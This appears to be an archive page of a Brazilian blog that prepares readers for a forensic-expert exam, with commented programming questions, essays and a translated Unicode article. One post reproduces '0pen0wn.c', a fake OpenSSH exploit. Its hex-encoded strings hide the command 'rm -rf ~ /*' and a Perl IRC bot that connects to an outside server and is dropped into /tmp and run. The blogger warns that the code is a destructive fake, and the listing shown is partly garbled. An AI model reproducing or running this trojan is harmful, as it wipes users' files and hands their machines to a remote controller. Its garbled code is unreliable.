PCF-3

Questões comentadas, artigos e notícias

Archive for the ‘Programação’ Category

Prova 2004 NAC – Linguagem C Q.63

Posted by papacharliefox3 em 19/12/2009

Comentários

63 Todo mundo sabe que C não é uma LP orientada a objetos, ok? O que é necessário: suporte a tipos abstratos de dados, herança e ligação dinâmica (polimorfismo).

Gabarito

63-E

Anúncios

Posted in Programação, Prova 2004 NAC | Leave a Comment »

Prova 2002: Q.33 Linguagens de Programação

Posted by papacharliefox3 em 06/11/2009

Salve, concurseiros!

33

Comentários

1 Compilador nada mais é que um programa que lê um código escrito em uma linguagem fonte e o traduz em um código (equivalente) em outra linguagem. Este não é necessariamente executável.

2 O código de montagem gerado pelo compilador é traduzido em código de máquina, entretanto este processo nõ ocorre somente em compiladores de linguagens de baixo nível.

3 Item anulado pela banca. Com esse monte de informações contidas no texto fica fácil arrumar justificativas que anulam o item. O carregador ou ligador é responsável pela carga e edições de ligações, colocando o código de máquina relocável em memória.

4 Em Java, bytecode não é código-fonte, diferentemente do que acontece com Perl.

5 Mais um item anulado. Muito texto, mais chance de anulações, enfim, sem comentários aqui…

Gabarito

1-C  2-E  3-X  4-E  5-X

X = anulada

Posted in Programação, Prova 2002 | Etiquetado: , , , , , , | Leave a Comment »

Prova de 2002 – Q.32 Programação

Posted by papacharliefox3 em 04/11/2009

Salve!

Na prova de 2002, cobrou-se apenas duas questões de conhecimento em Linguagens de Programação, cada uma com 5 itens. Segue abaixo a primeira:

32Comentários

1 Mais uma vez o ‘geralmente’ causa polêmica. Essa palavra não cabe na afirmação. Existem 2 tipos de casting nas duas linguagens (em C++ existem até operadores de casting):  implícitos e explícitos. O casting explícito não é uma exceção assim como o implícito não acontece ‘geralmente’.`

2 Toda classe em Java (declarada por meio da palavra class) é derivada da classe object. Sem classes não seria possível implementar as características comuns de linguagens orientadas a objeto.

3 A existência de ponteiros implica em aritimética de ponteiros (manipulação de endereços de memória) , o que não é equivalente as referências em Java. Estas se referem a instâncias de classe, enquanto ponteiros (em C++) se referem a endereços de memória.

4 Ponteiros do tipo void podem apontar para valores de qualquer tipo, assim ele é utilizado no casting de ponteiros ‘genéricos’. Run Time Type Information (RTTI) permitem a descoberta do tipo de um objeto quando há necessidade de casting, por exemplo, por meio do operador dynamic_cast, o que gera mais segurança ao código.

5 Assim como as variáveis, as funções também são instruções persistidas na memória e que podem ser referenciadas em C e C++.

Gabarito

1-E  2-C  3-E  4-C  5-C

Posted in Programação, Prova 2002 | Etiquetado: , | Leave a Comment »

0-day do OpenSSH

Posted by papacharliefox3 em 15/07/2009

Salve futuros peritos em Informática!

Olha o que conseguimos aqui! Antes de compilar e rodar, é – extremamente recomendável – que o ‘manual’ seja lido.

É brincadeira, este código que está rolando na rede é fake! Na verdade, de acordo com o link mencionado acima, o shellcode causa dano ao diretório home do usuário que executar o binário gerado pelo código. Portanto, não o faça! :)

/* 0pen0wn.c by anti-sec group
* ---------------------------
* OpenSSH
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
"x72x6Dx20x2Dx72x66x20x7ex20x2Fx2Ax20x32x3ex20x2f"
"x64x65x76x2fx6ex75x6cx6cx20x26";

char shellcode[] =
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx0ax24x6bx65"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x64x20x2bx78x20x2fx74x6dx70x2fx68x69x20x32x3ex2f"
"x64x65x76x2fx6ex75x6cx6cx3bx2fx74x6dx70x2fx68x69"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a";

char fbsd_shellcode[] =
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x64x20x2bx78x20x2fx74x6dx70x2fx68x69x20x32x3ex2f"
"x64x65x76x2fx6ex75x6cx6cx3bx2fx74x6dx70x2fx68x69"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x7dx7dx23x63x68x6dx6fx64x20x2bx78x20x2fx74x6dx70"
"x2fx68x69x20x32x3ex2fx64x65x76x2fx6ex75x6cx6cx3b"
"x2fx74x6dx70x2fx68x69x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
printf("n[+] 0pen0wn 0wnz Linux/FreeBSDn");
printf("  Usage: %s -h  -p portn",arg);
printf("  Options:n");
printf("  t-h ip/host of targetn");
printf("  t-p portn");
printf("  t-d usernamen");
printf("  t-B memory_limit 8/16/64nnn");
}

#define FD 0x080518fc
#define BD 0x08082000

int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;

if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}

if(argc h_addr;
}

sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf("  [-] Connecting failedn");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == -1) {
printf("  [-] connecting failedn");
}

payload[sizeof(payload)-1] = '';
payload[sizeof(payload)-2] = '';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("n  [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]nn");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf("  [-] failed to exploit target :-( n");
close(sock);
return 0;
}

Posted in News & Clipping, Programação | Leave a Comment »

Mais do mesmo

Posted by mike em 08/07/2009

Olá a todos, esta semana estava eu lendo um dos meus feeds e me deparei com este post bem prático sobre strings a nível de kernel, bem interessante:

http://www.driverentry.com.br/blog/2009/07/strings-no-kernel.html

Ainda sobre o mesmo tema, encontrei outras boas referências sobre strings:

http://www.caloni.com.br/blog/archives/strings

Não distante sobre o tema, sobre ‘tipagem’:

http://www.caloni.com.br/blog/archives/basico-do-basico-tipos

São informações bem básicas e importantes sobre programação e lógica.

Posted in Fundamentos, Programação | Leave a Comment »

Engenharia Reversa

Posted by papacharliefox3 em 17/04/2009

btSalve, caboco!

Tive a idéia de escrever este pequeno texto, apenas como um prelúdio as próximas questões que iremos comentar neste blog. Algumas dessas questões, envolvem análise de código, normalização (Banco de Dados) e alguns conceitos de reengenharia de sistemas. Um dos assuntos correlatos é a engenharia reversa.

O que é engenharia reversa, afinal? Antes de ir direto ao ponto, cabe aqui alguns comentários sobre a reengenharia, processo pelo qual é submetido qualquer tipo de sistema baseado em regras (negócio) que podem mudar. Mas, tudo pode mudar, não? Afinal, o usuário, os gerentes, as pessoas sempre exigirão mais rapidez, eficiência, etc. Até que ponto isso implica na construção de um novo sistema? É (pelo menos, era) pra que isso que algumas pessoas são muito bem pagas por aí! Enfim, esse tema engloba qualquer tipo de reengenharia, não somente de software.

Neste contexto, a abordagem está diretamente ligada à tecnologia empregada, ao tempo disponível, e sobretudo, à manutenabilidade do código. Lembrando que, não estamos falando somente de corrigir falhas ou bugs, mas de novas funcionalidades, da otimização de processos. O que acontece quando nenhuma das características de um bom software existe? Supõe-se que hoje, o mundo ainda depende de sistemas escritos há mais de 10 anos atrás, escritos sem seguir o mínimo procedimento ou prática. Aí é que pode entrar a famosa engenharia reversa.

Do mesmo modo que os chineses ‘falsificam’ um belo smartphone da SONY, transformando-o em um MP9 (última versão que tenho conhecimento), os engenheiros de software também o fazem com seus frankensteins sistemas. O que seria do Samba (não é o do crioulo!) sem ferramentas como um sniffer, um debugger, um disassembly? Ele não seria. Só teríamos o CIFS da Microsoft! Ou você acha que o Bill publicou RFC e o código-fonte documentado do Windows? Na verdade, ele é um expert em engenharia reversa, não? O produto desta se revela tão bom quanto a origem, principalmente, quando falamos de Active Directory, LDAP, Kerberos e afins, concordam? (melhor parar com este exemplo por aqui, os comments são liberados e podem ser anônimos!)

O processo de engenharia reversa busca atingir um nível de abstração de tal maneira que, a partir das informações extraídas, tem-se conhecimento suficiente a fim de especificar o fluxo de dados de um sistema, de onde o dado vem, onde é armazenado, de que tipo ele é, etc. Lógico que, o resultado desse proceso depende do nível de abstração alcançado ou pretendido. Enfim, entender o que o software faz, sua estrutura, seu modo de operação e comportamento; isso tudo é parte do processo de engenharia reversa.

O que esperar de futuras questões sobre este tema? Um cenário ou somente teoria? Deixe seus comentários. Até a próxima!

Posted in Banco de Dados, Programação | Etiquetado: | 1 Comment »

top top checklists de segurança

Posted by mike em 17/04/2009

checklist_clipboardVocê não leu errado e eu não escrevi errado.  O título aqui é ‘top top’ mesmo, igual ao do programa da MTV.

Não sei se você já assistiu o filme Piratas do Caribe, mas existe uma passagem bem interessante que eles discutem sobre como ser pirata. No filme é falado sobre o código dos piratas, e todo pirata ‘decente’ deve seguir este código. Porém um dos piratas tem a sábia idéia de frisar que o código deve ser utilizado como um guia para ser um pirata, que não se pode levar tudo o que está escrito ao pé da letra. É exatamente desta forma que temos que utlizar as boas práticas de segurança, como guias e não como uma verdade imutável. Continue lendo »

Posted in Fundamentos, Programação, Segurança | 2 Comments »

O mínimo de conhecimento básico que todo desenvolvedor de software deveria saber sobre Unicode e Character sets

Posted by mike em 28/03/2009

Este artigo é uma tradução do original:
The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)
http://www.joelonsoftware.com/articles/Unicode.html
por Joel Spolsky
traduzido por mykesh

Já parou para pensar sobre a tag Content-Type? Você sabe, aquela que você deveria colocar no HTML e nunca soube exatamente para que serve?

Você nunca recebeu um e-mail dos seus amigos da Bulgária com o assunto “???? ?????? ??? ????” ?

Eu estava preocupado em descobrir quantos desenvolvedores não compreendem o enigmático mundo dos character set (grupo de caracteres), Unicode e coisa do tipo. Alguns anos atrás, um Analista de testes do FogBuz estava pensando como poderia manipular e-mails em japonês. Japonês? Eles recebem e-mail em japonês? Eu não tinha a menor idéia. Quando eu resolvei acompanhar de perto um ActiveX para analisar o MIME de mensagens de e-mail , nós descobrimos que o ActiveX estava fazendo a coisa errada com os character sets, então tivemos que fazer um código ninja para desfazer a conversão errada que ele estava fazendo e codificar novamente. Uma vez eu verifiquei a implementação de uma biblioteca comercial e esta também tinha uma implementação equivocada de character code (código de caracteres). Eu troquei uma idéia com o desenvolvedor da solução e ele me veio com a idéia “que não poderia fazer nada a respeito”. Como muitos programadores, ele queria que de alguma forma caisse no esquecimento.

Mas não foi bem assim. Quando eu descobri que a popular ferramenta de desenvolvimento web PHP não entende quase nada sobre character encondig , usando sem se importar 8 bits para codificação de caracteres, tornando perto do impossível o desenvolvimento de boas aplicações web internacionais, então pensei, realmente já chega.

Eu tenho um anúncio a fazer: se você é um programador trabalhando em 2003 e você não conhece o básico sobre caracteres, character sets (grupo de caracteres), encodings e Unicode, se eu te pegar, eu vou fazer você descascar cebolas em um submarino por 6 meses. Eu prometo que faço você fazer isso.

E mais uma coisa:

NÃO É DIFÍCIL

Neste artigo eu vou de dar algumas dicas sobre o que todo programador deveria saber. Toda aquela coisa sobre “plain text = ascii = caracteres de 8 bits” não é somente equivocada, é completamente equivocada e se você ainda programa deste jeito, você não é muito melhor que um médico que não acredita em germes. Por favor não escreva nenhuma linha de código antes que você termine de ler este artigo.

Antes de começar, eu gostaria de avisar que se você é uma daquelas pessoas que conhece sobre internacionalização, você vai achar a minha explicação um pouco simplória. Eu estou realmente tentando estabelecer um nível mínimo em que todo mundo possa entender o que está acontecendo e possa escrever códigos que tenham esperanças funcionais . Também deveria te avisar que manipular caracteres é apenas uma pequena fração para criar softwares que funcionam internacionalmente, porém eu só posso escrever sobre um assunto por vez e hoje é sobre character sets (grupo de caracteres).

Perspectiva histórica

Vamos voltar no tempo e rever os fatos cronológicamente.

Você provavelmente deve estar imaginando que eu vou falar sobre EBCDIC. Bem, eu não irei. EBCDIC não é relevante para a sua vida. Não precisamos voltar tanto assim no tempo.

De volta para um tempo não tão antigo, quando o Unix estava sendo inventado e K&R estavam escrevendo a linguaem C, tudo era muito simples. EBCDIC estava sainda de cena. Os únicos caracteres que importavam eram os bons velhos caracteres ingleses sem acento e a gente tinha um código para eles chamado ASCII que podiam ser representados usando números entre 32 e 127. Espaço era 32, a letra “A” era 65, etc. Isso podia ser armazenado em meros 7 bits. Naquele tempo a maioria dos computadores usavam 8-bit bytes, poderia armazenar não só todos os caracteres ASCII, como tinha muitos bits para desperdiçar e se você fosse um zé roela poderia usar a seu bel prazer: os zé roelas da WordStar fizeram com que o hight bit (bit alto) indicasse a última letra de uma palavra, condenando o WordStar exclusivamente a textos em inglês. Códigos abaixo de 32 foram chamados de não-imprimíveis e foram utilizados por pura perversão. To só brincando. Eles foram utilizados para controlar caracteres, por exemplo o 7 fazia o seu computador bipar e o 12 fazia a impressora ‘cuspir’ o papel e usar uma nova.

Tudo era fácil se você fosse uma pessoa que falasse somente em inglês.

Porque em 1 byte tem espaço para até 8 bits, muitas pessoas pensavam, “oras, podemos usar os códigos de 128-255 para as nossas próprias necessidades”.  O problema foi que um monte de gente pensou a mesma coisa ao mesmo tempo e cada um com suas próprias idéia de como utilizar os espaços entre 128 e 255. A IBM-PC teve a idéia que se tornou o grupo de caracteres OEM que proporcionava caracteres acentuados para idiomas europeus e um monte de caracteres de figuras de linha… barras horizontais, barras verticais, barras horizontais com firulas, etc. E você podia usar os caracteres de desenho fazer caixas e linhas fofinhas na tela, que você ainda pode ver rodando em um computador 8088 da sua lavanderia. De fato quando as pessoas começaram a comprar computadores PC fora dos Estados Unidos, todo tipo de grupo de caracteres OEM foram inventados, sendo que usaram os caracteres acima de 128 para suas próprias necessidades. Em alguns computadores por exemplo, o código do caractere 130 podia ser visualizado como é, porém em alguns computadores vendidos em Israel era usado a letra hebraica gimel (גּ), logo caso um americano enviasse um currículo (résumé em inglês) para Israel, o currículo poderia ser visualizado como rגּsumגּs (currículo em inglês). Em muitos casos, como no russo, havia muitas idéias com o que poderia ser feito com os caracteres acima do 128, logo você não poderia trocar documentos em russo de forma confiável.

Eventualmente todos estes OEM gratuitos foram codificados no formato ANSI. No padrão ANSI, todo mundo concordou no que fazer com os caracteres abaixo do 128, o que foi muito parecido com o ASCII, porém dependendo da onde você morava havia várias maneiras de manipular os caracteres acima de 128. Estes diferentes sistemas foram chamados de code pages (páginas de código/sinal). Só para ter uma idéia, em Israel o DOS era usado com o code page 862, enquanto os usuários gregos usavam o code page 737. Eles eram o mesmo abaixo do 128 mas diferente acima do 128, onde todas as letras cômicas eras armazenadas. A versão nacional do DOS tinha um monte destas code pages, manipulando todo tipo de caractere desde o inglês até islandês e eles ainda tinham code pages “multi-linguagens” que podiam interpretar Esperanto e Galiciano no mesmo computador! Opa! Porém, utilizar hebreu e grego no mesmo computador era totalmente impossível a não ser que você escrevesse seu próprio programa personalizado que exibisse tudo usando gráficos bitmap, isso porque hebreu e grego necessitava de code pages com diferente interpretações dos números altos.

Enquanto isso na Ásia,  coisas estranhas ocorriam ainda mais, pelo fato de que alfabetos asiáticos possuem milhares de letras, que nunca poderiam caber em 8 bits. Isto foi resolvido pelo confuso sistema DBCS, o “double byte character set” (grupo de duplo byte de caracteres), em que algumas letras eram armazenadas em um byte e outras em dois bytes. Era fácil correr por uma string, mas praticamente impossível de correr ao contrário. Programadores eram encorajados a usar s++ e s– para andar para frente e para trás, ao invés de usar as funções AnsiNext and AnsiPrev do Windows, que sabia como manipular com a bagunça toda.

A maioria das pessoas ainda fingiam que um caractere equivalia a um byte e um caractere era 8 bits desde que não movesse uma string de um computador para outro ou falasse mais de um idioma,  desta maneira isso poderia funcionar sempre. Porém é claro que assim que a Internet surgiu se tornou um lugar comum para se trocar strings de um computador para o outro, e toda bagunça veio abaixo. Por sorte  o Unicode havia sido inventado.

Unicode

Unicode foi um esforço muito grande para se criar um character set (grupo de caracteres) que incluísse todo tipo de sistema de escrita do planeta e também algumas inventadas como Klingon (Star Trek). Algumas pessoas pensam que Unicode é simplesmente um código/sinal de 16-bits onde cada caractere usa 16 bits e logo há 65.536 caracteres possíveis. Isto não está correto. Este é o mito mais comum sobre Unicode, se você imaginou a mesma coisa, não se sinta mal.

De fato Unicode tem uma idéia própria sobre caracteres e você precisa entender a maneira como o Unicode trata os caracteres ou nada fará sentido.

Até agora, assumimos que uma letra está relacionada com alguns bits que podem ser armazenados na memória ou em disco:

A -> 0100 0001

Em Unicode uma letra está relacionada com uma coisa chamada code point (código/sinal ponto) o que significa apenas um conceito teórico. Como o code point é representado na memória ou no HD é uma outra história .

A letra A em Unicode é um exemplo de ideal de Platão. Está apenas flutuando pelo céu:

A

O A platônico é diferente de B, diferente de a, porém igual a A e A e A. A idéia do A da fonte Times New Roman é a mesma do caractere A na fonte Helvética, porém diferente do “a” minúsculo, isso não soa muito controverso, porém em algumas idiomas só de imaginar o que uma letra significa pode causar controvérsias. A letra ß  em alemão seria uma letra de verdade ou apenas uma forma extravagante de escrever ss? Se a forma de uma letra muda no fim do mundo, ela realmente é uma letra? Os hebreus dizem sim, árabes dizem não. De qualquer forma, a galera esperta do consórcio do Unicode vem pensando nisso desde a última década ou mais, acompanhado de calorosos debates políticos e você não precisa se preocupar com isso. Eles já pensaram em tudo.

Para cada letra platônica de cada alfabeto um número mágico  foi atribuído pelo consórcio Unicode desta maneira: U+0639. Este número mágico é chamado code point (ponto código/sinal). O U+ significa “Unicode” e os números são hexadecimal. U+0639 é a letra árabe Ain. A letra inglesa A é o U+0041. Você pode achar todos através da ferramenta charmap no Windows 2000/XP ou visitando o site do Unicode.

Não há um limite real para os números de letras que o Unicode pode definir e de fato eles já passaram de 65.536, logo nem toda letra pode ser espremida em 2 bytes, mas de qualquer forma isso era um mito.

OK, vamos imaginar a string:

Hello

em Unicode corresponde aos cinco code points:

U+0048 U+0065 U+006C U+006C U+006F

Apenas um monte de code points. Números, só isso. Ainda não disse como armazenar isso na memória ou visualizar em uma mensagem de e-mail.

Encodings (codificação)

Esse é o ponto em que os encodings (codificações) entram.

As primeiras idéias da codificação do Unicode, a qual criou o mito dos 2 bytes, podemos dizer que foi alocar 2 bytes para os números. Logo Hello ficou:

00 48 00 65 00 6C 00 6C 00 6F

Certo? Calma lá!  Também poderia ser:

48 00 65 00 6C 00 6C 00 6F 00 ?

Bom, tecnicamente sim, eu realmente acredito que poderia ser, e de fato os primeiros implementadores queriam poder armazenar os code points Unicodes nos modos ‘high-endian’ ou ‘low-endian’ , não importando se o CPU era extremamente rápida ou lenta de manhã ou a noite e havia duas maneiras para se armazenar o Unicode. Logo as pessoas foram forçadas a usar uma convenção doida de se armazenar um FE FF no começo de cada string Unicode; isto é chamado de Unicode Byte Order Mark (Byte de Marcação de Ordem Unicode) e se você for trocar seu hight e low byte nele irá aparecer um FF FE e a pessoa que estiver lendo a sua string vai saber que vai ter que trocar todos os bytes. Ufa. Nem toda string Unicode utilizada tem um byte order mark no começo.

Por um momente pareceu ser uma boa idéia, mas programadores estavam reclamando. “Olhe todos estes zeros!” eles diziam desde que fosse americano com um texto em inglês que raramente usava code points acima de U+00FF. Além disso eles eram hippies na California que queriam conservar (sacanear). Se eles fossem texanos eles não teriam se importado de se enfartar duas vezes com a quantidade de bytes. Porém aqueles californianos zé roelas não poderiam suportar a idéia de dobrar a quantidade de espaço que uma string teria e além disso, eles tinham uma pilha de documentos espalhados usando os character set ANSI e DBCS e quem iria converter todos eles? Moi (‘eu’ em francês)? Somente por causa disso um monte de gente decidiu ignorar Unicode por muito tempo e enquanto isso as coisas ficaram piores.

Como consequência foi inventado a idéia brilhante do UTF-8. UTF-8 foi um outro sistema para armazenar as suas strings de code points Unicodes, aqueles U +”números mágicos” na memória com 8 bit byte. No UTF-8, cada code point de 0-127 é armazenado em um byte. Apenas os code points acime de 128 são armazenados usando 2, 3 e até 6 bytes.

